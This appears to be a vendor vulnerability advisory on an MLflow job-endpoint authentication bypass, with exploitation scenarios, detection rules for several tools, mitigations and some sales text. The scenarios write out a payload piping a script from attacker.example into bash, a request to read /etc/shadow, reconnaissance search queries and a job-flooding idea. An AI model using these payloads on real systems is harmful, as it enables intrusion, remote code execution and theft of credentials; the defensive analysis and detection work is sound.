CVE-2026-0545
Executive Summary
CVE-2026-0545 is a critical authentication bypass vulnerability in MLflow's FastAPI job endpoints under /ajax-api/3.0/jobs/*. When the basic-auth app is enabled and job execution is turned on (MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true), any network client can submit, read, search, and cancel jobs without credentials, completely bypassing the intended basic-auth protection. This leads to unauthenticated remote code execution (RCE) if allowed jobs perform privileged operations such as shell execution or filesystem changes, and in all cases constitutes an authentication bypass with CVSS 9.1 (Critical). All deployments of MLflow with job execution enabled are affected; no patch exists at the time of writing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in MLflow's FastAPI job management endpoints. The intended security architecture relies on the basic-auth application to guard administrative and job-related operations. However, the job routes under /ajax-api/3.0/jobs/* are registered without being wrapped by or passed through the authentication middleware/dependency when the basic-auth app is active. This is a classic CWE-306 (Missing Authentication for Critical Function) flaw: the route handler calls job functions — submit, read, search, cancel — without any authentication/authorization decorator or dependency injection that enforces credential validation.
The attack surface is the HTTP API layer exposed via the MLflow tracking server. The flaw is not conditionally triggered; it is structural. The FastAPI application registers these routes with authentication disabled, meaning the basic-auth module never inspects requests destined for /ajax-api/3.0/jobs/*. The three deployment preconditions for full RCE exploitation are:
basic-authapp enabled (the default expectation in production).MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true(enables the job subsystem).- At least one job function allowlisted (e.g.,
shell,write_file,read_file).
When these conditions hold, the job submission endpoint accepts JSON payloads specifying a function name and arguments. Because the function registry is server-side and configurable at deployment, an attacker does not need to guess the function list — the job search and read endpoints expose metadata about configured job functions, making reconnaissance trivial without authentication.
The failure is amplified by the API design: job functions are executed server-side with the privileges of the MLflow process. If the MLflow server runs as a service account with OS-level file access, shell job functions translate directly to arbitrary command execution. The confidentiality, integrity, and availability impact is accordingly rated High/High/High in the CVSS vector.
Exploitation Scenarios
Scenario 1 — Unauthenticated RCE via Shell Job Function
- Reconnaissance: Attacker performs a Shodan/Censys query for exposed MLflow servers (
http.title:"MLflow"orhttp.component:"MLflow"). Alternatively, they target internal IP ranges during a penetration test, scanning for TCP port 5000/tcp (default MLflow tracking port). - Trigger/Weaponization: Attacker sends an unauthenticated
GETrequest tohttp://<target>:5000/ajax-api/3.0/jobs/searchto enumerate available job functions. Response returns a JSON array of function names, includingshell. - Payload/Execution: Attacker crafts a
POSTrequest tohttp://<target>:5000/ajax-api/3.0/jobs/submitwith the body:
The job executes server-side without any authentication check, downloading and executing an arbitrary payload (reverse shell, crypto miner, data exfiltration script).{ "function": "shell", "params": { "cmd": "curl http://attacker.example/payload.sh | bash" } } - Post-exploitation: Attacker achieves command execution as the MLflow service user. If that user has write access to the MLflow configuration directory or model storage, the attacker can backdoor models, steal credentials stored in environment variables, or pivot laterally into the ML infrastructure.
Scenario 2 — Data Exposure / Job Result Leakage
If the allowlist contains only "safe" functions like read_file for internal use, the attacker still exploits the missing authentication:
- Reconnaissance: Port scan for MLflow instances.
- Trigger:
GET /ajax-api/3.0/jobs/searchlistsread_fileas an allowed function. - Payload:
POST /ajax-api/3.0/jobs/submitwith{"function": "read_file", "params": {"path": "/etc/shadow"}}. - Impact: The job result is exposed via
GET /ajax-api/3.0/jobs/read/<job_id>— again unauthenticated — leaking sensitive file contents.
Scenario 3 — Job Spam / DoS
In the weakest case, where job submission is rate-limited or fails, an attacker can still flood the job queue by submitting thousands of jobs without credentials, exhausting system resources (CPU, memory, disk for job logs), resulting in denial of service.
Impact Assessment
- CVSS 9.1 (Critical) — Vector
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H: No privileged access required, no user interaction, network-only attack, uniform high impact on all three security pillars. - Business Impact: MLflow is used for machine learning lifecycle management. Compromise equates to full control of the ML tracking server, model registry, and any filesystem paths the service user can access. Attackers can poison models (supply-chain poisoning of downstream ML predictions), steal training data, or pivot to cloud metadata endpoints (e.g., 169.254.169.254) if the MLflow host is cloud-resident.
- Blast Radius: Any MLflow deployment with job execution enabled — including on-prem enterprise hosting, SaaS-managed instances, and Kubernetes-deployed tracking servers. Because the flaw is unauthenticated, the exposure is not limited to authenticated data scientists but extends to any network client.
- Operational Impact: Even without a malicious payload, the job spam/DoS vector has a real availability consequence, as each submitted job consumes worker resources and queue capacity.
Detection Guidance
Sigma Rule
title: MLflow /ajax-api/3.0/jobs Unauthenticated Access Attempt
id: 3f4d8e2c-9b6a-4f1e-9c2d-8a5e7b4f1d3c
status: experimental
description: Detects unauthenticated access to MLflow job endpoints, indicating potential CVE-2026-0545 exploitation
author: Valtersit SOC
logsource:
category: webserver
product: generic
detection:
selection:
cs-method:
- 'GET'
- 'POST'
c-uri|contains:
- '/ajax-api/3.0/jobs/'
filter_known_auth:
cs-username|exists: true
condition: selection and not filter_known_auth
falsepositives:
- Misconfigured internal monitoring tools that poll job endpoints
- Legacy scripts that lack auth headers
level: high
tags:
- attack.t1190
- cve.2026-0545
- cwe.306
YARA Rule
rule MLflow_Job_Endpoint_Auth_Bypass
{
meta:
author = "Valtersit SOC"
description = "Detects HTTP payloads targeting MLflow unauthenticated job endpoints (CVE-2026-0545)"
cve = "2026-0545"
date = "2026-02-15"
severity = "critical"
strings:
$s1 = "/ajax-api/3.0/jobs/submit" ascii nocase
$s2 = "/ajax-api/3.0/jobs/search" ascii nocase
$s3 = "/ajax-api/3.0/jobs/read" ascii nocase
$s4 = "/ajax-api/3.0/jobs/cancel" ascii nocase
$s5 = "\"function\"" ascii nocase
$s6 = "MLFLOW_SERVER_ENABLE_JOB_EXECUTION" ascii nocase
condition:
(any of ($s1, $s2, $s3, $s4)) and
(any of ($s5, $s6) or #filesize > 50KB)
}
Suricata IDS Rule
alert http any any -> any any (
msg:"ET EXPLOIT MLflow unauth job endpoint access (CVE-2026-0545)";
flow:established,to_server;
http.uri; content:"/ajax-api/3.0/jobs/"; offset:0; depth:100;
content:"submit"; within:50;
http.method; content:"POST";
http.request_body; content:"\"function\"";
classtype:attempted-admin;
sid:2026054501; rev:1; metadata:created_at 2026_02_15, updated_at 2026_02_15;
)
alert http any any -> any any (
msg:"ET EXPLOIT MLflow unauth job search endpoint (CVE-2026-0545)";
flow:established,to_server;
http.uri; content:"/ajax-api/3.0/jobs/search";
http.method; content:"GET";
classtype:successful-admin;
sid:2026054502; rev:1; metadata:created_at 2026_02_15;
)
Elastic Detection
sequence by source.ip with maxspan=10s
[ network where event.action == "connection" and destination.port == 5000 ]
[ http where
url.path like~ "/ajax-api/3.0/jobs/*" and
user_agent.name != null ]
[ http where
url.path == "/ajax-api/3.0/jobs/submit" and
method == "POST" ]
Splunk SPL Query
index=* sourcetype=access_combined
| where like(uri_path, "/ajax-api/3.0/jobs/%")
| eval has_auth=if(isnull(user), "no", "yes")
| stats count by uri_path, has_auth, src_ip
| where has_auth == "no" and count > 5
| sort - count
Wazuh OSSEC Rule
<group name="web,">
<rule id="285611" level="12">
<decoded_as>json</decoded_as>
<field name="url">/ajax-api/3.0/jobs/\.*</field>
<description>MLflow unauthenticated job endpoint access - possible CVE-2026-0545</description>
<group>authentication_failure,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<rule id="285612" level="15">
<decoded_as>json</decoded_as>
<field name="url">/ajax-api/3.0/jobs/submit</field>
<field name="method">POST</field>
<description>MLflow job submission without auth - RCE attempt CVE-2026-0545</description>
<group>attack,</group>
<mitre>
<id>T1190</id>
<id>T1203</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch confidence: 0/4 — UNPATCHED. No vendor fix, no commit, no advisory reference has been identified from any tracked source. Treat this as an actively exploitable zero-day.
1) Immediate mitigations (do these now):
- Disable job execution entirely: set
MLFLOW_SERVER_ENABLE_JOB_EXECUTION=falsein the MLflow server environment and restart the service. This removes the exposed functionality. - If jobs are absolutely required, place MLflow behind a strict reverse proxy (nginx/Apache/Envoy) that enforces authentication at the proxy level for the
/ajax-api/prefix. Do not rely on MLflow's own basic-auth. - Restrict network access: use firewall/security group rules to limit access to the MLflow port (default 5000) to known data-science subnets only.
- Deploy a WAF (ModSecurity/Cloudflare/Coraza) with rules blocking
/ajax-api/3.0/jobs/paths from non-authenticated sources.
2) Patch/upgrade steps:
- Monitor the MLflow GitHub repository and NVD for a CVE-2026-0545 patch. Subscribe to the
mlflow/mlflowreleases feed. - When a fixed version is released, upgrade immediately. Test in staging before production.
- Interim: apply a manual middleware patch to the FastAPI app that enforces
Depends(get_current_user)on all job routes, or cherry-pick from the upstream fix when available.
3) Long-term hardening:
- Conduct a full security review of any FastAPI route registration in MLflow to ensure all routes pass through authentication middleware.
- Implement network segmentation so MLflow servers are not directly reachable from the internet or untrusted networks.
- Apply the principle of least privilege to the MLflow service account — restrict filesystem and shell access.
- Add MFA for legitimate admin users to reduce the impact of credential theft.
- Regularly scan for exposed MLflow instances using the Shodan dorks listed above.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-0545
- MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-0545
- GitHub Repository (MLflow): https://github.com/mlflow/mlflow — monitor for patch commit.
- CWE-306 Reference: https://cwe.mitre.org/data/definitions/306.html
- First.org CVSS Vector Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Threat actor activity: No specific threat actor campaigns have been publicly attributed to this CVE. CISA KEV status: NOT listed. EPSS score 0.04392 (90.4th percentile) indicates above-average probability of exploitation in the wild relative to all known CVEs, but no confirmed exploit-in-the-wild evidence has been published at the time of this report. The presence of a public Nuclei template raises the likelihood of imminent scanning campaigns by criminal actors and botnets targeting exposed MLflow instances.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.